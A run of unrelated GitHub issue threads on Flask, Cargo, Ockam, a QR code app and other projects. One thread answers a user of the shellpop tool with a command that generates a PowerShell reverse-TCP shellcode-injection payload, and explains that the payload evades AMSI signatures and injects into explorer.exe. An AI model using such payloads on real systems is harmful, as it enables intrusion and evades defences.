Do not cause errors for unknown files for sendfile

Unknown files must not raise errors when send with send-file if the
sending happens by filename.  This is particularly important for
send from directory which can send up loads of unknown files.
This regressed at one point in the last two weeks.  It came up
with woff2 files sent from static folders which are unknown in
the default mimetype database.

This change is

@untitaker can you have a look at this one?

This is actually intentional behavior as per https://github.com/pallets/flask/pull/1988. The idea was that send_file would never accidentally send a octet-stream when the user simply assumed the mimetype to be in the database. I didn't think about send_from_directory, but I suppose you could just use mimetype.add_type to add the missing mimetype (probably should be documented).
Is this the behavior you can agree with? In any case if you want to change your decision (you approved the mentioned PR), it needs a doc update in upgrading.rst, last paragraph here: https://github.com/pallets/flask/blob/master/docs/upgrading.rst#changes-to-send_file

Oh, I also remember that I made this behavior more explicit because when we stopped using f.name, there was a risk that, when upgrading Flask, the application suddenly would send octet-stream where it previously used a mimetype derived from f.name. A hard error seemed preferrable back then.

@untitaker we can't force people to add all mimetypes unfortunately. I think the behavior of this pull request is what I like to have. I will update the docs accordingly.

We can add a new parameter alternatively that controls the fallback.

In any case the current regression is really bad for a lot of of useful cases where we just don't have a mimetype and also inconsistent with what other frameworks in Python do.

As said I think silently falling back to octet-stream by default will also introduce regressions in a much more silent way. Nobody said anything about all mimetypes, but adding the ones the application uses is doable for the developer imo. But I don't have a strong opinion on this.
On 11 September 2016 10:29:47 CEST, Armin Ronacher<EMAIL_ADDRESS>wrote:

In any case the current regression is really bad for a lot of of useful
cases where we just don't have a mimetype and also inconsistent with
what other frameworks in Python do.
--
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub:
https://github.com/pallets/flask/pull/2019#issuecomment-246168640

--
Sent from my Android device with K-9 Mail. Please excuse my brevity.

@untitaker what is the actual regression if something serves up as octet stream? Most browsers ignore the mimetype anyways for resource loading.

Serving with an incorrect mimetype is still technically wrong, and that there are only a handful of browsers that break on incorrect mimetypes doesn't make it easier to debug either.
Also you don't even have to use mimetype.add_type, you can also pass f.name as attachment_filename.
On 11 September 2016 11:00:43 CEST, Armin Ronacher<EMAIL_ADDRESS>wrote:

@untitaker what is the actual regression if something serves up as
octet stream? Most browsers ignore the mimetype anyways for resource
loading.
--
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub:
https://github.com/pallets/flask/pull/2019#issuecomment-246169798

--
Sent from my Android device with K-9 Mail. Please excuse my brevity.

@untitaker i don't want to reintroduce the handling of f.name anyways, just fall back on the mimetype when a filename is passed.

Would it make sense to only raise an error if a file-like object is passed and
no mimetype could be determined?
On Sun, Sep 11, 2016 at 02:15:30AM -0700, Armin Ronacher wrote:

@untitaker i don't want to reintroduce the handling of f.name anyways, just fall back on the mimetype when a filename is passed.
--
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub:
https://github.com/pallets/flask/pull/2019#issuecomment-246170367

@untitaker that is basically what the current code is doing.

I mean:

Fall back to octet-stream when a filepath is passed
Raise an error if a fileobject is passed

(and without attachment_filename or explicit mimetype)
On Sun, Sep 11, 2016 at 02:26:12AM -0700, Armin Ronacher wrote:

@untitaker that is basically what the current code is doing.
--
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub:
https://github.com/pallets/flask/pull/2019#issuecomment-246170769

:+1: for this PR, had a brainfart about possible silent regression when using send_file(open(...)). We had a discussion on IRC.
What needs an update is upgrading.rst, also the docstring of send_file is a bit problematic and vague wrt error behavior IMO.

LGTM though I think the docstring of send_file needs work in general (not specific to your PR)


Use Terminal to print output instead of println in the tcp-listener show command

Current behavior
The tcp-listener show command is using println to print the command's output, which is a strategy that is being deprecated.
Desired behavior
Instead, the Terminal struct should be used to handle the output of every command.
Implementation details
The following snippet should be refactored:
https://github.com/build-trust/ockam/blob/9c49e470a574d91854aa24628584eda4554aaad0/implementations/rust/ockam/ockam_command/src/tcp/listener/show.rs#L50-L55
As an example, the tcp-inlet show command uses formatdoc! to prepare the plain output:
https://github.com/build-trust/ockam/blob/f9d722579eb543d0f327e34bccaa4bd7b3fc1555/implementations/rust/ockam/ockam_command/src/tcp/inlet/show.rs#L59-L64
Then, you have to use the Terminal struct as follows to print the command output:
opts.terminal
    .stdout()
    .plain(plain)
    .write_line()?;

Some tips for newcomers:

Create a new branch for the issue you are working on (don't push directly to your fork's develop branch)
Run cargo fmt. You can configure the editor to run it automatically everytime a file is saved
Run cargo clippy to make sure the code compiles + follows rust standards/best practices
You don't need to keep your branch updated with develop until there is a merge conflict. If you still want to update it, use git rebase develop instead of gir merge develop

We love helping new contributors! ❤
If you have questions or need help as you explore, please join us on Discord. If you're looking for other issues to contribute to, please checkout our good first issues.

Hey. Can I take care on this issue?

@Zapix of course, all yours

Can I also work on this issue?

Pardon me, I know this issue has not been yet assigned to me but I thought I could resolve the issue, so I gave it a try.


update dependancies for the kit

there is a LOT of warnings, we should check and update all our dependancies
warning " ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning " ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning " ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @toruslabs/openlogin ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @toruslabs/openlogin ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @toruslabs/openlogin ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/openlogin-adapter ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/openlogin-adapter ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/openlogin-adapter ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/openlogin-adapter ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/torus-evm-adapter ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/torus-solana-adapter ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/openlogin-adapter > @web3auth/base-provider ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/torus-evm-adapter > @toruslabs/torus-embed ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "@web3auth/web3auth > @web3auth/torus-evm-adapter > @toruslabs/torus-embed ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning "react-moralis ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.1".
warning " ><EMAIL_ADDRESS>has unmet peer dependency "webpack@>=5".
warning "wp5-cra-polyfill ><EMAIL_ADDRESS>has unmet peer dependency "webpack@>=5".
warning " ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning " ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-links ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-links ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions > @storybook/components ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions > @storybook/components ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions > @storybook/components ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions > @storybook/components > react-popper-tooltip ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17".
warning "@storybook/addon-actions > @storybook/components > react-textarea-autosize ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-actions > @storybook/components > react-textarea-autosize ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-controls ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-controls ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-controls ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-controls ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has unmet peer dependency "webpack@*".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-info ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.1 || ^16.0.0 || ^17.0.1".
warning " ><EMAIL_ADDRESS>has unmet peer dependency "webpack@>=2".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/builder-webpack4 ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/builder-webpack4 ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/builder-webpack4 ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/builder-webpack4 ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/core ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/core ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/core ><EMAIL_ADDRESS>has unmet peer dependency "webpack@*".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/core ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/core ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/core > @storybook/core-server ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-essentials > @storybook/addon-docs > @storybook/core > @storybook/core-server ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning "@storybook/addon-info > @storybook/addons ><EMAIL_ADDRESS>has unmet peer dependency "regenerator-runtime@*".
warning "@storybook/addon-info > @storybook/addons > @storybook/api ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| 16.x || 16.4.0-alpha.0911da3".
warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>warning " ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning " ><EMAIL_ADDRESS>has unmet peer dependency "<EMAIL_ADDRESS>warning " ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^17.0.0".
warning " ><EMAIL_ADDRESS>has unmet peer dependency "jest@>22".
warning " ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>warning " ><EMAIL_ADDRESS>has unmet peer dependency "rollup@*".

https://media.giphy.com/media/QMHoU66sBXqqLqYvGO/giphy.gif

hey @AbhinavMV are you working on this? its not priority but if you have picked it up please remove the ready for dev and add the in progress label. TY dude 😁

closed by #702


[BUG] QR Code disappeared after installing new app version

Version
1.3.0 Build 20
What platform are you using?
Android
OS Version
Android 15 on GrapheneOS
What happened?
QR Code is no longer visible, just the text of the barcode is there when clicking on a card, no change after re-generating the code
Relevant log output
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

QR Code on card is in 'Data Matrix' format

@big-ant really sorry about that. Will fix tomorrow. Thanks for letting me know

@big-ant i tried and could not reproduce. What changed is that now if there is no qrcode (whatever the format) the layout is different. It will go back to the "qrcode" layout once a code is added.
Can you share a screenshot maybe of the issue you are facing?

Screenshot 1+2 same card, and screenshot 3+4 another card

@big-ant ok very strange. You dont see them either when NOT in dark mode?
Will try to reproduce

Yes, same in normal mode. I did reinstall the app without success.

I use latest LineageOS 21/Android 14 and upgraded the app from F-Droid (Izzy on Droid repo) and barcodes/QRcodes disappeared as well. I see only the alphanumeric string at the bottom of the screen with white background. Version <IP_ADDRESS>

@sarimak @big-ant reproduced it! i am on it

Sale problem here.
Matrixx OS - Android 14
App ver. <IP_ADDRESS>
All barcodes disappeared

@sarimak @big-ant @Uz4ever new version up on github  with a fix

Installed the released APK and the barcodes and QR codes work now. Thank you for the fix! ❤

Can confirm that it works again! Thank you.
Btw I had once this error while scanning a new card, but card was added and it worked anyway.

Cheers, Roman

@big-ant I had report of this one but could not reproduce again. Any chance you can share a video ?

The update worked here as well.
Thank you!

@big-ant I had report of this one but could not reproduce again. Any chance you can share a video ?

No chance to reproduce this issue so far. It happened when scanning a card where you could see the outline of the scan in violet filling up ... You did implement a different method by now?
I think we can close this ticket as the issue with the barcodes seems to be resolved. Thank you for your quick responses! Awesome app!


Bicep samples missing

This documentation only contains ARM samples and there are no Bicep samples available.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 21d4fd97-7fa7-c48a-0ab9-6d72bc979ef0
Version Independent ID: 58464278-d1ed-64ec-3e85-65c83e0fae31
Content: Resource Manager template samples for Log Analytics workspaces - Azure Monitor
Content Source: articles/azure-monitor/logs/resource-manager-workspace.md
Service: azure-monitor
Sub-service: logs
GitHub Login: @bwren
Microsoft Alias: bwren

@AdeZwart
Thanks for your feedback! We will investigate and update as appropriate.

Thanks, we're working on bicep samples. Already have some in our samples, just haven't gotten to these yet. They are on the list though.
#please-close


sample request

Hi,
this is not an issue but a sample request .
that would be great if you can demonstrate this library with other data controls  than the datagrid .
for example :
i would love to see a sample of a datavirtualized listbox with multiples columns
something like this : https://ibb.co/2kQVxvM
anyway thanks for the hard work .

Hi,
instead of replying right away I wanted to do the sample at the weekend. However it turns out that I don't have much free time this weekend. So this may take a while.

that's awesome .
thanks for considering doing this <3

Your sample request is now pushed to master. Its the last tab in the sample app.
First of all, it is programmed in quick-and-dirty manner. I got hooked by the idea to replicate the look and feel of an application such as can be seen in your snippet. However, I don't have the time to do it in such a clean fashion as I would like to. This means: please pick the parts which you need to set up the data virtualization framework for your use case, but be wary of the rest.
Now to the interesting parts!
Let a side that you explicitly didn't want it to be based on a DataGrid, this sample would be difficult to realize with a DataGrid. In my opinion the closest WPF UI-element to the look of the sceenshot would be a WrapPanel or UniformGrid. But it is not an items control, hence you can't bind an ItemsSource to it. So I tried my luck with a ListBox. You can customize the backing items panel for it (I think the default is StackPanel or VirtualizingStackPanel). Unfortunately, just using the WrapPanel doesn't work:

I totally recommend you to try it yourself, then you see the consequences. Visually the application will freeze, but the interesting question for us is the reason why it does so. The WrapPanel does not use UI virtualization (only render data which can be seen; recycling UI-elements), so it needs to fetch all the data from the ItemsSource in order to render itself. This is exactly the opposite of what we want to do with data virtualization. We need to avoid that. UI virtualization is a pre-requirement for data virtualization! The only native virtualizing Panel which I know of is the VirtualizingStackPanel. Using it would leave the data virtualization intact, however, it would look like that:

So I searched for a Panel implementation which wraps the elements line by line and has UI-virtualization. I found one: https://www.codeproject.com/Articles/158060/Dan-Crevier-s-VirtualizingTilePanel-Mod. I didn't even look into the code and just used it blindly, it works well for this sample.
If you are okay with a single row which doesn't wrap and is very long a VirtualizigStackPanel with Orientation to Horizontal would be sufficient as well:

Important remark!
Besides using the WrapPanel. There are other circumstances why WPF triggers to fetch all of the ItemsSource. For example putting the ListBox into a StackPanel (instead of the 2-row grid which it is now in)  and using a VirtualizingStackPanel with vertical orientation will result in fetching all data. In the sample you can notice the logs going wild, because every loaded page is logged live.
In my DataGrid use cases I had trouble with rows which increased their height, that situation as well caused the UI to fetch all data.
You have to keep in mind that WPF does not support data virtualization out-of-the-box. Hence there are pitfalls here and there. But in my experience you can find a way to workaround that. And in some cases the effort to work around is worth it.

thanks a lot man for taking time for this .
can't wait to check this out and give feedback .


Custom Types chapter has a section on Erlang but not on JavaScript InterOp

https://gleam.run/book/tour/custom-types.html#erlang-interop
(... or Elixir or TypeScript)

Good idea!


[Knight Rider 2] abnormal program termination

Log consists of only 1 line:

Loading dinput8.dll

Closing this issue for now.  If there is anymore to do here let me know.


Adds png compression

For a project I needed to be able specify the png compression level. I noticed that node canvas supports an option for this, so I added the option to the svg2imgoptions and pass it to canvas

Thanks! Published as 0.9.0


MINOR: Do not check whether updating tasks exist in the waiting loop

The state updater waits on a condition variable if no tasks exist that need to be updated. The condition variable is wrapped by a loop to account for spurious wake-ups. The check whether updating tasks exist is done in the condition of the loop. Actually, the state updater thread can change whether updating tasks exists, but since the state updater thread is waiting for the condition variable the check for the existence of updating tasks will always return the same value as long as the state updater thread is waiting. Thus, the check only need to be done once before entering the loop.
This PR moves check before the loop making also the usage of mocks more robust since the processing becomes more deterministic.
More detailed description of your change,
if necessary. The PR title and PR message become
the squashed commit message, so use a separate
comment to ping reviewers.
Summary of testing strategy (including rationale)
for the feature or bug fix. Unit and/or integration
tests are expected for any behaviour change and
system tests should be considered for larger changes.
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

LGTM!


Windows line ends in npm package

https://registry.npmjs.org/sprucecss/-/sprucecss-2.3.0.tgz
e.g. in scss/spruce-styles.scss
Please consider publishing the npm package from here, from GitHub.

Good idea Viktor, will do!

All right.

Do you want to help with the workflow file?

No.

https://docs.github.com/en/actions/publishing-packages/publishing-nodejs-packages


Create a Beginner Level Project Section Based on the Javascript Concepts

😇Hello,
I have Suggestions to Create a Javascript Project Section for Beginners to provide a better understanding of Javascript Concepts
This Section will contain Basic Project Based on the concepts like addEventListener(), Math.floor(), arrays, etc.
@shruti49 @swapnil0709 @ionlizarazu @Reayz @S-a-k-s-h-i

😇Hello, I have Suggestions to Create a Javascript Project Section for Beginners to provide a better understanding of Javascript Concepts This Section will contain Basic Project Based on the concepts like addEventListener(), Math.floor(), arrays, etc.
@shruti49 @swapnil0709 @ionlizarazu @Reayz @S-a-k-s-h-i

Yeah we can do that.


Build: Go lint fails due to non-existing directories

Go lint is called with non-exiting pathes - so nothing is done:
> ./gradlew lintergo
...
> Task :sechub-cli:linterGo
open daimler.com/sechub/cli: no such file or directory
open daimler.com/sechub/util: no such file or directory
...

Sven Dolderer<EMAIL_ADDRESS>Daimler TSS GmbH, imprint

Found out that the golint version I used was from 2016 and had a different behavior.
Especially it was not possible to pass multiple directories to the linter.
After using the latest golint, complaints are gone.


Streamline intro content order in Guidelines section

Streamline intro content order in Guidelines section
Already discussed this with @claycrenshaw but just so we're all clear and consistent:

[ ] "Resources" cards should go first, anchor links are next, then first paragraph

[ ] Change "Getting Started" to "Resources"

Closing this issue in favor of this:
https://github.com/carbon-design-system/carbon-website/issues/792


⚠ Homepage has degraded performance

In 816d0ea, Homepage (https://h-edu.cz) experienced degraded performance:

HTTP code: 0
Response time: 0 ms

Resolved: Homepage performance has improved in 82a718f after 10 minutes.


Issue to execute datadog_backup

Hi,
i have an error to execute datadog_backup.
root@ip-10-167-110-36:~# datadog_backup backup
Traceback (most recent call last):
6: from /usr/local/bin/datadog_backup:23:in <main>'         5: from /usr/local/bin/datadog_backup:23:in load'
4: from /root/.gem/ruby/2.5.0/gems/datadog_backup-1.0.5/bin/datadog_backup:9:in <top (required)>'         3: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in require'
2: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in require'         1: from /root/.gem/ruby/2.5.0/gems/datadog_backup-1.0.5/lib/datadog_backup.rb:7:in <top (required)>'
/root/.gem/ruby/2.5.0/gems/datadog_backup-1.0.5/lib/datadog_backup.rb:7:in `require_relative': /root/.gem/ruby/2.5.0/gems/datadog_backup-1.0.5/lib/datadog_backup/local_filesystem.rb:49: syntax error, unexpected ']' (SyntaxError)
...e(filepath).strip.downcase[1..].to_sym
root@ip-10-167-110-36:~# ruby --version
ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-linux-gnu]
where i am wrong ?
thanks

You're not wrong at all! Turns out I wasn't compatible with ruby-2.5.
I've released a new version that is: https://github.com/scribd/datadog_backup/releases/tag/v1.1.0
To install it, use
gem install datadog_backup -v 1.1.0

Thanks for the report!


fix: print error on init when cannot find a package.json

What:
If a user runs nps init in an empty directory with no existing package.json the command fails with a non-user friendly error.
How:
If this "error" is encountered print a friendly error and exit.
Comments:
Instead of exiting out nps init could continue without any package.json scripts and use the local directory as the package-scripts.js path.

Hmmm... Something's busted with the build. It looks unrelated so I'll merge this, but we wont get a release until that's fixed and I wont have time to work on it.

Looks like my change caused the tests to fail... I'll look.

Yeah, my bad... a last minute change added a bug.  New PR coming.


Doubts

Hello, Congratulations for the tool it is very good, I am with some doubts, I used a shell poweshell and the metasploit framework with handler, apparently appeared that I would get a meterpreter session, but simply got locked the terminal without opening the meterpreter session, my doubt and if it is possible to get the meterpreter session with the shellpop, something else I think would be interesting to put in the poweshell and -w hidden codes to make it hidden after running.
Tanks.

Sure. Currently there is only one meterpreter shell payload available in shellpop and it is for Windows x86_64 architecture.
It uses a mangled version of Invoke-Shellcode from Powersploit to avoid signature block from AMSI and inject shell-code into "explorer.exe" process by default.
You can do it like this:
shellpop --payload windows/reverse/tcp/powershell_shellcode_injection -H yourIP -P 443 --stager http --base64

Then set a metasploit handler with the appropriate payload.

Executing the generated command from shellpop in a Windows Server 2012 R2:

And the shell .... pops.

i hope @d0ubl3puls4r  your doubts are cleared now. Now I closing this Issue. if you have other issues u can raise a new issue. Thank you.


How to set auth jwt token timeout ?

How to set auth jwt token timeout ?

Hi @toplinuxsir , currently it is not possible to set a custom timeout, although it should be rotated every 6 hours, otherwise you'll get an authentication error.

@arxdsilva , Thanks , I got it.

@toplinuxsir @leonardorifeli we got this contribution that is useful for this purpose: https://github.com/prest/prest/pull/871


--crate-type cdylib causes errors looking for rlib dependencies

Problem
When running cargo rustc --crate-type cdylib -Z unstable-options, I see errors that dependencies were expected to be available in rlib format. If I put the crate-type in the Cargo.toml, I don't see these errors.
Output:
 ~/code/test.rs $ cargo rustc --crate-type cdylib -Z unstable-options
   Compiling scratchpad v0.0.0 (/home/sean/code/test.rs)
error: crate `http` required to be available in rlib format, but was not found in this form

Steps
Here's a minimal repro:

Make a new crate, using any simple dependency. http = "*" works.
In lib.rs, add pub extern "C" fn yeet() { println!("{:?}", http::StatusCode::OK) }.
Run cargo rustc --crate-type cdylib -Z unstable-options.

I originally discovered this by trying to convert hyper to use it:

Removing the [lib] and crate-type = ["cdylib", "staticlib", "lib"] lines.
Run cargo rustc --crate-type cdylib -Z unstable-options.

Possible Solution(s)
No response
Notes

If I keep the line in Cargo.toml, then hyper builds properly.
When making a minimal repro, I noticed that it works without a dependency, and it also works with a dependency that isn't used. You must use the dependency in the file.

Version
cargo 1.60.0-nightly (25fcb13 2022-02-01)
release: 1.60.0-nightly
commit-hash: 25fcb135d02ea897ce894b67ae021f48107d522b
commit-date: 2022-02-01
host: x86_64-unknown-linux-gnu
libgit2: 1.3.0 (sys:0.13.23 vendored)
libcurl: 7.80.0-DEV (sys:0.4.51+curl-7.80.0 vendored ssl:OpenSSL/1.1.1l)
os: Ubuntu 16.04 (xenial) [64-bit]

Relevant tracking issue: https://github.com/rust-lang/cargo/issues/10083

The root cause is that #10093 handles rustc's --crate-type arg well but doesn't take care of others, such as --extern. The unit thought it only requires rmeta but actually it needs rlib to build artifacts other than rlib. Below are the differece between two rustc invocations. (left: toml, right: cmd arg)

Here is a simple patch for cargo::core::compiler::context::Context::only_requires_rmeta to let the build pass.
         // object code must be useful in some fashion
         && !dep.requires_upstream_objects()
         && dep.mode == CompileMode::Build
+        && !self.bcx.rustc_crate_types_args_for(parent)
+            .map_or(false, |v| v.iter()
+                .map(|s| s.into())
+                .any(|ty: super::CrateType| ty.requires_upstream_objects()))
+}

However, there are lots of places calling Unit::requires_upstream_objects, which are not Context-aware and I cannot think of an easy way to fix without duplicate our --crate-type overridden logic.
An intuitive solution is setting crate types into unit.target.kind directly, so that no extra workaround is needed. Unfortunately Unit doesn't implement DerefMut but only Deref. This mutating approach won't work unless we open a mutable backdoor on Unit.
@ehuss Any insight into this?

I'm still having this problem on Rust 1.66.1.
on MacOS X86_64:
Cargo toml:
[package]
name = "yeet"
version = "0.1.0"
edition = "2021"
[dependencies]
jni = "0.20"

src/lib.rs:
#[no_mangle]
pub extern "C" fn yeet() {
    println!("{:?}", jni::JNIVersion::V1);
}

Command:
cargo rustc --target x86_64-linux-android -- --crate-type=cdylib
Output:
❯ cargo rustc --target x86_64-linux-android -- --crate-type=cdylib
   Compiling bytes v1.3.0
   Compiling cfg-if v1.0.0
   Compiling cesu8 v1.1.0
   Compiling jni-sys v0.3.0
   Compiling memchr v2.5.0
   Compiling thiserror v1.0.38
   Compiling log v0.4.17
   Compiling jni v0.20.0
   Compiling combine v4.6.6
   Compiling wat v0.1.0 (/private/tmp/wat)
error: crate `jni` required to be available in rlib format, but was not found in this form

error: could not compile `wat` due to previous error
warning: build failed, waiting for other jobs to finish...

CC @weihanglo

I feel like you didn't use --crate-type flag correctly. Flags after -- go directly to rustc invocation, whereas the RFC stabilized --crate-type for cargo-rustc affects how Cargo determine the crate type of the final artifact.
Could you try cargo rustc --target x86_64-linux-android --crate-type=cdylib?

Oh I see. Glad you figured it out :)


WebSocketTransport does not create correct url to connect to the server

The url here: https://github.com/aspnet/SignalR/blob/dev/test/Microsoft.AspNetCore.SignalR.Tests/EndToEndTests.cs#L117  should be just /echo
With the Url above the client does not get the connection id. If the WebSockets transport was replaced with LongPolling transport things wouldn't work.

Resolved in: https://github.com/aspnet/SignalR/pull/268


Pie polylines fix

@rmenegaux

@ChakriCherukuri could you use var(--bq-content-font-color), so that it adapts to both dark and light themes?


Update regions restriction

I was trying to use the eu-central-1 region, but i fails... looking to the code it is restricted to only this regions:
var supportedRegions = []string{
	"us-east-1",
	"us-west-2",
	"eu-west-1",
	"ap-northeast-1",
}

From http://docs.aws.amazon.com/general/latest/gr/rande.html we can see that eu-central-1 is a valid lambda region.
So i assume that this list is not updated, can you please update it?
Even better, add a flag to ignore this check, so this do not block any future AWS change and require a new release (or user recompile) to use any new region

OK, I'll add the new region for now.

There are now 2 more AP regions, so they should be added also


Password changed using Browser,  but account still accessible in App

If you want this to be implemented, you should report it to the original app https://github.com/jonan/ForkHub. This app is just a copy.


[HW] Michael Chau

Name: Michael CHau
Email<EMAIL_ADDRESS>Linkedin Profile: https://www.linkedin.com/in/michaelmhchau/
Attach the homework step I screenshots below:

